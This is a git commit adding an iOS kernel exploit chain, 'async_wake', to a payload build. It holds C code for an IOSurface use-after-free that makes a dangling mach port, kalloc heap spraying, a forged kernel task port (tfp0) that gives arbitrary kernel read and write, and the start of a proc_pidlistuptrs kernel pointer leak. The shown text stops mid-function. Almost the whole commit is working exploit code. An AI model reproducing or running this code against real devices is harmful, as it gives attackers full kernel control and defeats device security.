tfp0 via async_wake

This commit is contained in:
Tim W 2019-04-02 22:51:59 +08:00
parent 6d9385cb8a
commit 70aa762958
16 changed files with 1905 additions and 10 deletions

View File

@ -22,7 +22,7 @@ exploit.bin: loader payload.dylib
%.o: liboffsetfinder/%.cpp
clang -c $(CLANG_IOS) $< -o $@ -fno-stack-protector -fmodules
payload.dylib: payload.o v0rtex.o patchfinder64.o kernel_utils.o trustcache.o sha1.o liboffsetfinder64/getoffsets.o liboffsetfinder64/img4.o liboffsetfinder64/lzssdec.o liboffsetfinder64/exception.o liboffsetfinder64/liboffsetfinder64.o liboffsetfinder64/insn.o liboffsetfinder64/patch.o
payload.dylib: payload.o v0rtex.o async_wake.o kmem.o kutils.o koffsets.o find_port.o early_kalloc.o patchfinder64.o kernel_utils.o trustcache.o sha1.o liboffsetfinder64/getoffsets.o liboffsetfinder64/img4.o liboffsetfinder64/lzssdec.o liboffsetfinder64/exception.o liboffsetfinder64/liboffsetfinder64.o liboffsetfinder64/insn.o liboffsetfinder64/patch.o
clang $(CLANG_IOS) $^ -shared -o $@ -bind_at_load \
-fno-stack-protector -fobjc-arc -fmodules -framework IOKit -lc++
strip -u -r payload.dylib

View File

@ -0,0 +1,711 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach-o/loader.h>
#include <pthread.h>
#include <CoreFoundation/CoreFoundation.h>
#include "async_wake.h"
#include "koffsets.h"
#include "kernel_utils.h"
#include "kmem.h"
#include "kutils.h"
#include "early_kalloc.h"
#include "find_port.h"
#include "common.h"
#ifdef __OBJC__
#include <Foundation/Foundation.h>
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)
#else
#include <CoreFoundation/CoreFoundation.h>
extern void NSLog(CFStringRef, ...);
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
#endif
// various prototypes and structure definitions for missing iOS headers:
kern_return_t mach_vm_read(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
vm_offset_t* data,
mach_msg_type_number_t* dataCnt);
/****** IOKit/IOKitLib.h *****/
typedef mach_port_t io_service_t;
typedef mach_port_t io_connect_t;
extern const mach_port_t kIOMasterPortDefault;
#define IO_OBJECT_NULL (0)
kern_return_t
IOConnectCallAsyncMethod(
mach_port_t connection,
uint32_t selector,
mach_port_t wakePort,
uint64_t* reference,
uint32_t referenceCnt,
const uint64_t* input,
uint32_t inputCnt,
const void* inputStruct,
size_t inputStructCnt,
uint64_t* output,
uint32_t* outputCnt,
void* outputStruct,
size_t* outputStructCntP);
kern_return_t
IOConnectCallMethod(
mach_port_t connection,
uint32_t selector,
const uint64_t* input,
uint32_t inputCnt,
const void* inputStruct,
size_t inputStructCnt,
uint64_t* output,
uint32_t* outputCnt,
void* outputStruct,
size_t* outputStructCntP);
io_service_t
IOServiceGetMatchingService(
mach_port_t _masterPort,
CFDictionaryRef matching);
CFMutableDictionaryRef
IOServiceMatching(
const char* name);
kern_return_t
IOServiceOpen(
io_service_t service,
task_port_t owningTask,
uint32_t type,
io_connect_t* connect);
/******** end extra headers ***************/
mach_port_t user_client = MACH_PORT_NULL;
// make_dangling will drop an extra reference on port
// this is the actual bug:
void make_dangling(mach_port_t port)
{
kern_return_t err;
uint64_t inputScalar[16];
uint32_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0x18;
uint64_t* ivals = (uint64_t*)inputStruct;
ivals[0] = 1;
ivals[1] = 2;
ivals[2] = 3;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
uint64_t reference[8] = { 0 };
uint32_t referenceCnt = 1;
for (int i = 0; i < 2; i++) {
err = IOConnectCallAsyncMethod(
user_client,
17, // s_set_surface_notify
port,
reference,
referenceCnt,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
LOG("%x", err);
};
err = IOConnectCallMethod(
user_client,
18, // s_remove_surface_notify
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
LOG("%x", err);
}
static bool prepare_user_client()
{
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
if (service == IO_OBJECT_NULL) {
LOG("unable to find service");
return false;
}
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
if (err != KERN_SUCCESS) {
LOG("unable to get user client connection");
return false;
}
LOG("got user client: 0x%x", user_client);
return true;
}
mach_port_t* prepare_ports(int n_ports)
{
mach_port_t* ports = malloc(n_ports * sizeof(mach_port_t));
for (int i = 0; i < n_ports; i++) {
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
if (err != KERN_SUCCESS) {
for (int j = 0; j < i; j++) {
mach_port_deallocate(mach_task_self(), ports[j]);
}
free(ports);
return NULL;
}
}
return ports;
}
void free_ports(mach_port_t* ports, int n_ports)
{
for (int i = 0; i < n_ports; i++) {
mach_port_t port = ports[i];
if (port == MACH_PORT_NULL) {
continue;
}
mach_port_destroy(mach_task_self(), port);
}
}
struct simple_msg {
mach_msg_header_t hdr;
char buf[0];
};
mach_port_t send_kalloc_message(uint8_t* replacer_message_body, uint32_t replacer_body_size)
{
// allocate a port to send the messages to
mach_port_t q = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
if (err != KERN_SUCCESS) {
LOG("failed to allocate port");
return MACH_PORT_NULL;
}
mach_port_limits_t limits = { 0 };
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
err = mach_port_set_attributes(mach_task_self(),
q,
MACH_PORT_LIMITS_INFO,
(mach_port_info_t)&limits,
MACH_PORT_LIMITS_INFO_COUNT);
if (err != KERN_SUCCESS) {
LOG("failed to increase queue limit");
return MACH_PORT_NULL;
}
mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
struct simple_msg* msg = malloc(msg_size);
memset(msg, 0, sizeof(struct simple_msg));
memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
for (int i = 0; i < 256; i++) { // was MACH_PORT_QLIMIT_LARGE
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
msg->hdr.msgh_remote_port = q;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414142;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
msg_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
LOG("failed to send message %x (%d): %s", err, i, mach_error_string(err));
return MACH_PORT_NULL;
}
}
return q;
}
/*
for the given mach message size, how big will the ipc_kmsg structure be?
This is defined in ipc_kmsg_alloc, and it's quite complicated to work it out!
The size is overallocated so that if the message was sent from a 32-bit process
they can expand out the 32-bit ool descriptors to the kernel's 64-bit ones, which
means that for each descriptor they would need an extra 4 bytes of space for the
larger pointer. Except at this point they have no idea what's in the message
so they assume the worst case for all messages. This leads to approximately a 30%
overhead in the allocation size.
The allocated size also contains space for the maximum trailer plus the ipc_kmsg header.
When the message is actually written into this buffer it's aligned to the end
*/
/*
build a fake task port object to get an arbitrary read
I am basing this on the techniques used in Yalu 10.2 released by
@qwertyoruiopz and @marcograss (and documented by Johnathan Levin
in *OS Internals Volume III)
There are a few difference here. We have a kernel memory disclosure bug so
we know the address the dangling port pointer points to. This means we don't need
to point the task to userspace to get a "what+where" primitive since we can just
put whatever recursive structure we require in the object which will replace
the free'd port.
We can also leverage the fact that we have a dangling mach port pointer
to also write to a small area of the dangling port (via mach_port_set_context)
If we build the replacement object (with the fake struct task)
correctly we can set it up such that by calling mach_port_set_context we can control
where the arbitrary read will read from.
this same method is used again a second time once the arbitrary read works so that the vm_map
and receiver can be set correctly turning this into a fake kernel task port.
*/
static uint32_t IO_BITS_ACTIVE = 0x80000000;
static uint32_t IKOT_TASK = 2;
static uint32_t IKOT_NONE = 0;
uint64_t second_port_initial_context = 0x1024204110244201;
uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr)
{
uint8_t* body = malloc(message_body_size);
memset(body, 0, message_body_size);
uint32_t port_page_offset = dangling_port_address & 0xfff;
// structure required for the first fake port:
uint8_t* fake_port = body + (port_page_offset - message_body_offset);
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK;
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef;
*context_ptr = (uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT));
// set the kobject pointer such that task->bsd_info reads from ip_context:
int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO);
uint64_t fake_task_address = dangling_port_address + fake_task_offset;
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address;
// when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task
// pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that!
if (fake_port + fake_task_offset < body) {
LOG("the maths is wrong somewhere, fake task doesn't fit in message");
return NULL;
}
uint8_t* fake_task = fake_port + fake_task_offset;
// set the ref_count field of the fake task:
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
// make sure the task is active
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
// set the vm_map of the fake task:
*(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
// set the task lock type of the fake task's lock:
*(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
return body;
}
/*
* the first tpf0 we get still hangs of the dangling port and is backed by a type-confused ipc_kmsg buffer
*
* use that tfp0 to build a safer one such that we can safely free everything this process created and exit
* without leaking memory
*/
mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space)
{
kern_return_t err;
mach_port_t tfp0 = MACH_PORT_NULL;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tfp0);
if (err != KERN_SUCCESS) {
LOG("unable to allocate port");
}
// build a fake struct task for the kernel task:
//uint64_t fake_kernel_task_kaddr = kmem_alloc_wired(0x4000);
uint64_t fake_kernel_task_kaddr = early_kalloc(0x1000);
LOG("fake_kernel_task_kaddr: %llx", fake_kernel_task_kaddr);
void* fake_kernel_task = malloc(0x1000);
memset(fake_kernel_task, 0, 0x1000);
*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
*(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
*(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
kmemcpy(fake_kernel_task_kaddr, (uint64_t)fake_kernel_task, 0x1000);
free(fake_kernel_task);
uint32_t fake_task_refs = ReadKernel32(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT));
LOG("read fake_task_refs: %x", fake_task_refs);
if (fake_task_refs != 0xd00d) {
LOG("read back value didn't match...");
}
// now make the changes to the port object to make it a task port:
uint64_t port_kaddr = find_port_address(tfp0, MACH_MSG_TYPE_MAKE_SEND);
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK);
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d);
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d);
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space);
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_kernel_task_kaddr);
// swap our receive right for a send right:
uint64_t task_port_addr = task_self_addr();
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = tfp0 >> 8;
const int sizeof_ipc_entry_t = 0x18;
uint32_t bits = ReadKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry
#define IE_BITS_SEND (1 << 16)
#define IE_BITS_RECEIVE (1 << 17)
bits &= (~IE_BITS_RECEIVE);
bits |= IE_BITS_SEND;
WriteKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits);
LOG("about to test new tfp0");
vm_offset_t data_out = 0;
mach_msg_type_number_t out_size = 0;
err = mach_vm_read(tfp0, vm_map, 0x40, &data_out, &out_size);
if (err != KERN_SUCCESS) {
LOG("mach_vm_read failed: %x %s", err, mach_error_string(err));
return MACH_PORT_NULL;
}
LOG("kernel read via second tfp0 port worked?");
LOG("0x%016llx", *(uint64_t*)data_out);
LOG("0x%016llx", *(uint64_t*)(data_out + 8));
LOG("0x%016llx", *(uint64_t*)(data_out + 0x10));
LOG("0x%016llx", *(uint64_t*)(data_out + 0x18));
return tfp0;
}
// task_self_addr points to the struct ipc_port for our task port
uint64_t find_kernel_vm_map(uint64_t task_self_addr)
{
uint64_t struct_task = ReadKernel64(task_self_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
while (struct_task != 0) {
uint64_t bsd_info = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
uint32_t pid = ReadKernel32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
if (pid == 0) {
uint64_t vm_map = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));
return vm_map;
}
struct_task = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV));
}
LOG("unable to find kernel task...");
return 0;
}
const uint64_t context_magic = 0x1214161800000000; // a random constant
const uint64_t initial_context = 0x1020304015253545; // another random constant
kern_return_t async_wake(mach_port_t* tfp0)
{
// offsets are required before we get r/w:
offsets_init();
kern_return_t err;
uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44;
uint32_t replacer_body_size = message_size_for_kalloc_size(4096) - sizeof(mach_msg_header_t);
uint32_t message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE;
LOG("message size for kalloc.4096: %d", message_size_for_kalloc_size(4096));
if (!prepare_user_client()) {
return KERN_FAILURE;
}
uint64_t task_self = task_self_addr();
if (task_self == 0) {
LOG("unable to disclose address of our task port");
return KERN_FAILURE;
}
LOG("our task port is at 0x%llx", task_self);
int n_pre_ports = 100000; //8000
mach_port_t* pre_ports = prepare_ports(n_pre_ports);
if (pre_ports == NULL) {
return KERN_FAILURE;
}
// make a bunch of smaller allocations in a different zone which can be collected later:
uint32_t smaller_body_size = message_size_for_kalloc_size(1024) - sizeof(mach_msg_header_t);
uint8_t* smaller_body = malloc(smaller_body_size);
memset(smaller_body, 'C', smaller_body_size);
const int n_smaller_ports = 600; // 150 MB
mach_port_t smaller_ports[n_smaller_ports];
for (int i = 0; i < n_smaller_ports; i++) {
smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size);
if (smaller_ports[i] == MACH_PORT_NULL) {
return KERN_FAILURE;
}
}
// now find a suitable port
// we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't
// completely control all the data:
// specifically we're targetting kalloc.4096 but the message body will only span
// xxx448 -> xxxfbc so we want to make sure the port we target is within that range
// actually, since we're also putting a fake task struct here and want
// the task's bsd_info pointer to overlap with the ip_context field we need a stricter range
int ports_to_test = 100;
int base = n_pre_ports - 1000;
mach_port_t first_port = MACH_PORT_NULL;
uint64_t first_port_address = 0;
for (int i = 0; i < ports_to_test; i++) {
mach_port_t candidate_port = pre_ports[base + i];
uint64_t candidate_address = find_port_address(candidate_port, MACH_MSG_TYPE_MAKE_SEND);
uint64_t page_offset = candidate_address & 0xfff;
if (page_offset > 0xa00 && page_offset < 0xe80) { // this range could be wider but there's no need
LOG("found target port with suitable allocation page offset: 0x%016llx", candidate_address);
pre_ports[base + i] = MACH_PORT_NULL;
first_port = candidate_port;
first_port_address = candidate_address;
break;
}
}
if (first_port == MACH_PORT_NULL) {
LOG("unable to find a candidate port with a suitable page offset");
return KERN_FAILURE;
}
uint64_t* context_ptr = NULL;
uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &context_ptr);
if (replacer_message_body == NULL) {
return KERN_FAILURE;
}
LOG("replacer_body_size: 0x%x", replacer_body_size);
LOG("message_body_offset: 0x%x", message_body_offset);
make_dangling(first_port);
free_ports(pre_ports, n_pre_ports);
// free the smaller ports, they will get gc'd later:
for (int i = 0; i < n_smaller_ports; i++) {
mach_port_destroy(mach_task_self(), smaller_ports[i]);
}
// now try to get that zone collected and reallocated as something controllable (kalloc.4096):
const int replacer_ports_limit = 200; // about 200 MB
mach_port_t replacer_ports[replacer_ports_limit];
memset(replacer_ports, 0, sizeof(replacer_ports));
uint32_t i;
for (i = 0; i < replacer_ports_limit; i++) {
uint64_t context_val = (context_magic) | i;
*context_ptr = context_val;
replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
if (replacer_ports[i] == MACH_PORT_NULL) {
return KERN_FAILURE;
}
// we want the GC to actually finish, so go slow...
pthread_yield_np();
usleep(10000);
LOG("%d", i);
}
// find out which replacer port it was
mach_port_context_t replacer_port_number = 0;
err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
if (err != KERN_SUCCESS) {
LOG("unable to get context: %d %s", err, mach_error_string(err));
return KERN_FAILURE;
}
replacer_port_number &= 0xffffffff;
if (replacer_port_number >= (uint64_t)replacer_ports_limit) {
LOG("suspicious context value, something's wrong %lx", replacer_port_number);
return KERN_FAILURE;
}
LOG("got replaced with replacer port %ld", replacer_port_number);
prepare_rk_via_kmem_read_port(first_port);
uint64_t kernel_vm_map = find_kernel_vm_map(task_self);
if (kernel_vm_map == 0) {
return KERN_FAILURE;
}
LOG("found kernel vm_map: 0x%llx", kernel_vm_map);
// now free first replacer and put a fake kernel task port there
// we need to do this becase the first time around we don't know the address
// of ipc_space_kernel which means we can't fake a port owned by the kernel
free(replacer_message_body);
replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr);
if (replacer_message_body == NULL) {
return KERN_FAILURE;
}
// free the first replacer
mach_port_t replacer_port = replacer_ports[replacer_port_number];
replacer_ports[replacer_port_number] = MACH_PORT_NULL;
mach_port_destroy(mach_task_self(), replacer_port);
const int n_second_replacer_ports = 10;
mach_port_t second_replacer_ports[n_second_replacer_ports];
for (int i = 0; i < n_second_replacer_ports; i++) {
*context_ptr = i;
second_replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
if (second_replacer_ports[i] == MACH_PORT_NULL) {
return KERN_FAILURE;
}
}
// hopefully that worked the second time too!
// check the context:
replacer_port_number = 0;
err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
if (err != KERN_SUCCESS) {
LOG("unable to get context: %d %s", err, mach_error_string(err));
return KERN_FAILURE;
}
replacer_port_number &= 0xffffffff;
if (replacer_port_number >= (uint64_t)n_second_replacer_ports) {
LOG("suspicious context value, something's wrong %lx", replacer_port_number);
return KERN_FAILURE;
}
LOG("second time got replaced with replacer port %ld", replacer_port_number);
// clear up the original replacer ports:
for (int i = 0; i < replacer_ports_limit; i++) {
mach_port_destroy(mach_task_self(), replacer_ports[i]);
}
// then clear up the second replacer ports (apart from the one in use)
mach_port_t second_replacement_port = second_replacer_ports[replacer_port_number];
second_replacer_ports[replacer_port_number] = MACH_PORT_NULL;
for (int i = 0; i < n_second_replacer_ports; i++) {
mach_port_destroy(mach_task_self(), second_replacer_ports[i]);
}
LOG("will try to read from second port (fake kernel)");
// try to read some kernel memory using the second port:
vm_offset_t data_out = 0;
mach_msg_type_number_t out_size = 0;
err = mach_vm_read(first_port, kernel_vm_map, 0x40, &data_out, &out_size);
if (err != KERN_SUCCESS) {
LOG("mach_vm_read failed: %x %s", err, mach_error_string(err));
return KERN_FAILURE;
}
LOG("kernel read via fake kernel task port worked?");
LOG("0x%016llx", *(uint64_t*)data_out);
LOG("0x%016llx", *(uint64_t*)(data_out + 8));
LOG("0x%016llx", *(uint64_t*)(data_out + 0x10));
LOG("0x%016llx", *(uint64_t*)(data_out + 0x18));
prepare_rwk_via_tfp0(first_port);
LOG("about to build safer tfp0");
//early_kalloc(0x10000);
//return 0;
mach_port_t safer_tfp0 = build_safe_fake_tfp0(kernel_vm_map, ipc_space_kernel());
prepare_rwk_via_tfp0(safer_tfp0);
LOG("built safer tfp0");
LOG("about to clear up");
// can now clean everything up
WriteKernel32(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_NONE);
WriteKernel64(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);
// first port will soon point to freed memory, so neuter it:
uint64_t task_port_addr = task_self_addr();
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = first_port >> 8;
const int sizeof_ipc_entry_t = 0x18;
// remove all rights
WriteKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
// clear the ipc_port port too
WriteKernel64(is_table + (port_index * sizeof_ipc_entry_t), 0);
mach_port_destroy(mach_task_self(), second_replacement_port);
LOG("cleared up");
*tfp0 = safer_tfp0;
return KERN_SUCCESS;
}

View File

@ -0,0 +1,11 @@
#ifndef async_wake_h
#define async_wake_h
#include <stdio.h>
#ifdef __cplusplus
extern "C"
#endif
kern_return_t async_wake(mach_port_t* tfp0);
#endif /* async_wake_h */

View File

@ -0,0 +1,73 @@
//
// early_kalloc.c
// async_wake_ios
//
// Created by Ian Beer on 12/11/17.
// Copyright © 2017 Ian Beer. All rights reserved.
//
#include "early_kalloc.h"
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include "kmem.h"
#include "koffsets.h"
#include "kutils.h"
#include "find_port.h"
#include "common.h"
#include <CoreFoundation/CoreFoundation.h>
extern void NSLog(CFStringRef, ...);
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
// get a kalloc allocation before we've got a kcall interface to just call it
uint64_t early_kalloc(int size)
{
mach_port_t port = MACH_PORT_NULL;
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (err != KERN_SUCCESS) {
LOG("unable to allocate port");
}
uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
struct simple_msg {
mach_msg_header_t hdr;
char buf[0];
};
mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
struct simple_msg* msg = malloc(msg_size);
memset(msg, 0, msg_size);
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
msg->hdr.msgh_remote_port = port;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414142;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
msg_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
LOG("early kalloc failed to send message");
}
// find the message buffer:
uint64_t message_buffer = ReadKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
LOG("message buffer: %llx", message_buffer);
// leak the message buffer:
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
return message_buffer;
}

View File

@ -0,0 +1,8 @@
#ifndef early_kalloc_h
#define early_kalloc_h
#include <stdint.h>
uint64_t early_kalloc(int size);
#endif

View File

@ -0,0 +1,264 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#include "kmem.h"
#include "koffsets.h"
#include "kutils.h"
#include "find_port.h"
#include "common.h"
#include <CoreFoundation/CoreFoundation.h>
extern void NSLog(CFStringRef, ...);
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
/*
* this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372)
*
* It will reliably determine the kernel address of a mach port.
* Knowing the addresses of ports makes the other UaF exploit much simpler.
*/
// missing headers
#define KEVENT_FLAG_WORKLOOP 0x400
typedef uint64_t kqueue_id_t;
struct kevent_qos_s {
uint64_t ident; /* identifier for this event */
int16_t filter; /* filter for event */
uint16_t flags; /* general flags */
uint32_t qos; /* quality of service when servicing event */
uint64_t udata; /* opaque user data identifier */
uint32_t fflags; /* filter-specific flags */
uint32_t xflags; /* extra filter-specific flags */
int64_t data; /* filter-specific data */
uint64_t ext[4]; /* filter-specific extensions */
};
#define PRIVATE
#include <sys/event.h>
#include <sys/time.h>
#include <sys/types.h>
struct kevent_extinfo {
struct kevent_qos_s kqext_kev;
uint64_t kqext_sdata;
int kqext_status;
int kqext_sfflags;
uint64_t kqext_reserved[2];
};
extern int kevent_id(uint64_t id, const struct kevent_qos_s* changelist, int nchanges, struct kevent_qos_s* eventlist, int nevents, void* data_out, size_t* data_available, unsigned int flags);
int proc_list_uptrs(pid_t pid, uint64_t* buffer, uint32_t buffersize);
// appends n_events user events onto this process's kevent queue
static void fill_events(int n_events)
{
struct kevent_qos_s events_id[] = { { .filter = EVFILT_USER,
.ident = 1,
.flags = EV_ADD,
.udata = 0x2345 } };
kqueue_id_t id = 0x1234;
for (int i = 0; i < n_events; i++) {
int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
if (err != 0) {
LOG("failed to enqueue user event");
exit(EXIT_FAILURE);
}
events_id[0].ident++;
}
}
int kqueues_allocated = 0;
static void prepare_kqueue()
{
// ensure there are a large number of events so that kevent_proc_copy_uptrs
// always returns a large number
if (kqueues_allocated) {
return;
}
fill_events(10000);
LOG("prepared kqueue");
kqueues_allocated = 1;
}
// will make a kalloc allocation of (count*8)+7
// and only write to the first (count*8) bytes.
// the return value is those last 7 bytes uninitialized bytes as a uint64_t
// (the upper byte will be set to 0)
static uint64_t try_leak(int count)
{
int buf_size = (count * 8) + 7;
char* buf = calloc(buf_size + 1, 1);
int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
if (err == -1) {
return 0;
}
// the last 7 bytes will contain the leaked data:
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
return last_val;
}
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
};
// fills a kalloc allocation with count times of target_port's struct ipc_port pointer
// To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right
static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition)
{
// allocate a port to send the message to
mach_port_t q = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
if (err != KERN_SUCCESS) {
LOG("failed to allocate port");
exit(EXIT_FAILURE);
}
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
for (int i = 0; i < count; i++) {
ports[i] = target_port;
}
struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
msg->hdr.msgh_remote_port = q;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
